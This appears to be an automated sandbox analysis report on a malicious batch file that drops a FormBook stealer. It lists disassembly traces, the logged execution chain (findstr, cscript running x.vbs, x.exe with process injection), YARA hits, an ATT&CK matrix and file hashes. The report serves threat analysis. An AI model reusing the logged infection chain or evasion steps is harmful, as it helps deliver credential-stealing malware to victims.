Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140656A mov eax, dword ptr fs:[00000030h]	7_2_0140656A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140656A mov eax, dword ptr fs:[00000030h]	7_2_0140656A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140B570 mov eax, dword ptr fs:[00000030h]	7_2_0140B570
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140B570 mov eax, dword ptr fs:[00000030h]	7_2_0140B570
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01407505 mov eax, dword ptr fs:[00000030h]	7_2_01407505
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01407505 mov ecx, dword ptr fs:[00000030h]	7_2_01407505
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A4500 mov eax, dword ptr fs:[00000030h]	7_2_014A4500
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB562 mov eax, dword ptr fs:[00000030h]	7_2_013CB562
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147F525 mov eax, dword ptr fs:[00000030h]	7_2_0147F525
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148B52F mov eax, dword ptr fs:[00000030h]	7_2_0148B52F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D8550 mov eax, dword ptr fs:[00000030h]	7_2_013D8550
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D8550 mov eax, dword ptr fs:[00000030h]	7_2_013D8550
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140D530 mov eax, dword ptr fs:[00000030h]	7_2_0140D530
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140D530 mov eax, dword ptr fs:[00000030h]	7_2_0140D530
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5537 mov eax, dword ptr fs:[00000030h]	7_2_014A5537
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014055C0 mov eax, dword ptr fs:[00000030h]	7_2_014055C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A55C9 mov eax, dword ptr fs:[00000030h]	7_2_014A55C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F45B1 mov eax, dword ptr fs:[00000030h]	7_2_013F45B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F45B1 mov eax, dword ptr fs:[00000030h]	7_2_013F45B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E5CF mov eax, dword ptr fs:[00000030h]	7_2_0140E5CF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E5CF mov eax, dword ptr fs:[00000030h]	7_2_0140E5CF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF5B0 mov eax, dword ptr fs:[00000030h]	7_2_013FF5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A5D0 mov eax, dword ptr fs:[00000030h]	7_2_0140A5D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A5D0 mov eax, dword ptr fs:[00000030h]	7_2_0140A5D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D5D0 mov eax, dword ptr fs:[00000030h]	7_2_0144D5D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D5D0 mov ecx, dword ptr fs:[00000030h]	7_2_0144D5D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15A9 mov eax, dword ptr fs:[00000030h]	7_2_013F15A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15A9 mov eax, dword ptr fs:[00000030h]	7_2_013F15A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15A9 mov eax, dword ptr fs:[00000030h]	7_2_013F15A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15A9 mov eax, dword ptr fs:[00000030h]	7_2_013F15A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15A9 mov eax, dword ptr fs:[00000030h]	7_2_013F15A9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A35D7 mov eax, dword ptr fs:[00000030h]	7_2_014A35D7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A35D7 mov eax, dword ptr fs:[00000030h]	7_2_014A35D7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A35D7 mov eax, dword ptr fs:[00000030h]	7_2_014A35D7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140C5ED mov eax, dword ptr fs:[00000030h]	7_2_0140C5ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140C5ED mov eax, dword ptr fs:[00000030h]	7_2_0140C5ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C758F mov eax, dword ptr fs:[00000030h]	7_2_013C758F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C758F mov eax, dword ptr fs:[00000030h]	7_2_013C758F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C758F mov eax, dword ptr fs:[00000030h]	7_2_013C758F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D2582 mov eax, dword ptr fs:[00000030h]	7_2_013D2582
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D2582 mov ecx, dword ptr fs:[00000030h]	7_2_013D2582
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01404588 mov eax, dword ptr fs:[00000030h]	7_2_01404588
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F15F4 mov eax, dword ptr fs:[00000030h]	7_2_013F15F4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145B594 mov eax, dword ptr fs:[00000030h]	7_2_0145B594
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145B594 mov eax, dword ptr fs:[00000030h]	7_2_0145B594
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE5E7 mov eax, dword ptr fs:[00000030h]	7_2_013FE5E7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E59C mov eax, dword ptr fs:[00000030h]	7_2_0140E59C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D25E0 mov eax, dword ptr fs:[00000030h]	7_2_013D25E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014505A7 mov eax, dword ptr fs:[00000030h]	7_2_014505A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014505A7 mov eax, dword ptr fs:[00000030h]	7_2_014505A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014505A7 mov eax, dword ptr fs:[00000030h]	7_2_014505A7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F95DA mov eax, dword ptr fs:[00000030h]	7_2_013F95DA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D65D0 mov eax, dword ptr fs:[00000030h]	7_2_013D65D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F5BE mov eax, dword ptr fs:[00000030h]	7_2_0148F5BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014635BA mov eax, dword ptr fs:[00000030h]	7_2_014635BA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014635BA mov eax, dword ptr fs:[00000030h]	7_2_014635BA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014635BA mov eax, dword ptr fs:[00000030h]	7_2_014635BA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014635BA mov eax, dword ptr fs:[00000030h]	7_2_014635BA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E443 mov eax, dword ptr fs:[00000030h]	7_2_0140E443
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F453 mov eax, dword ptr fs:[00000030h]	7_2_0148F453
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CC427 mov eax, dword ptr fs:[00000030h]	7_2_013CC427
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE420 mov eax, dword ptr fs:[00000030h]	7_2_013CE420
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE420 mov eax, dword ptr fs:[00000030h]	7_2_013CE420
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE420 mov eax, dword ptr fs:[00000030h]	7_2_013CE420
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F340D mov eax, dword ptr fs:[00000030h]	7_2_013F340D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A547F mov eax, dword ptr fs:[00000030h]	7_2_014A547F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01408402 mov eax, dword ptr fs:[00000030h]	7_2_01408402
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01408402 mov eax, dword ptr fs:[00000030h]	7_2_01408402
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01408402 mov eax, dword ptr fs:[00000030h]	7_2_01408402
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FA470 mov eax, dword ptr fs:[00000030h]	7_2_013FA470
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FA470 mov eax, dword ptr fs:[00000030h]	7_2_013FA470
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FA470 mov eax, dword ptr fs:[00000030h]	7_2_013FA470
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460 mov eax, dword ptr fs:[00000030h]	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460 mov eax, dword ptr fs:[00000030h]	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460 mov eax, dword ptr fs:[00000030h]	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460 mov eax, dword ptr fs:[00000030h]	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460 mov eax, dword ptr fs:[00000030h]	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EF460 mov eax, dword ptr fs:[00000030h]	7_2_013EF460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C645D mov eax, dword ptr fs:[00000030h]	7_2_013C645D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F245A mov eax, dword ptr fs:[00000030h]	7_2_013F245A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A430 mov eax, dword ptr fs:[00000030h]	7_2_0140A430
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DB440 mov eax, dword ptr fs:[00000030h]	7_2_013DB440
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A54DB mov eax, dword ptr fs:[00000030h]	7_2_014A54DB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D64AB mov eax, dword ptr fs:[00000030h]	7_2_013D64AB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014794E0 mov eax, dword ptr fs:[00000030h]	7_2_014794E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D9486 mov eax, dword ptr fs:[00000030h]	7_2_013D9486
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D9486 mov eax, dword ptr fs:[00000030h]	7_2_013D9486
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB480 mov eax, dword ptr fs:[00000030h]	7_2_013CB480

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory allocated: page read and write | page guard

Injects a PE file into a foreign processes

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\AppData\Local\Temp\x.exe

Memory written: C:\Users\user\AppData\Local\Temp\x.exe base: 400000 value starts with: 4D5A

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\FS001_ DT103024.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\x.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 7.2.x.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2389064110.0000000001340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2388569618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 7.2.x.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2389064110.0000000001340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2388569618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	Windows Management Instrumentation	22 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FS001_ DT103024.bat	46%	ReversingLabs	Script-BAT.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\x.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\x.exe	54%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546702
Start date and time:	2024-11-01 13:53:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FS001_ DT103024.bat
Detection:	MAL
Classification:	mal100.troj.evad.winBAT@10/4@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 115 Number of non-executed functions: 244
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: FS001_ DT103024.bat

Simulations

Behavior and APIs

Time	Type	Description
08:54:13	API Interceptor	5x Sleep call for process: x.exe modified

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\x

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	4.330257178266755
Encrypted:	false
SSDEEP:	768:jVsJ7OHCni/G+k8y8u8iwwj8CC6jR5XgzAltQT2ZQeXcAiytXhdGx64GIKn+ruxu:GJpi9k7TBwwjpjR5X6ytQT2CesxshAxv
MD5:	775259ADBEF7B230FA1FABF20B6AD50B
SHA1:	0CECA4B5DB2A25EA949BC4DD4AE2D2C71EAB571A
SHA-256:	11FACD5B23564B4D0DC568DE5DA5FE044F92843242882C1CC6AFF478E7B5D16C
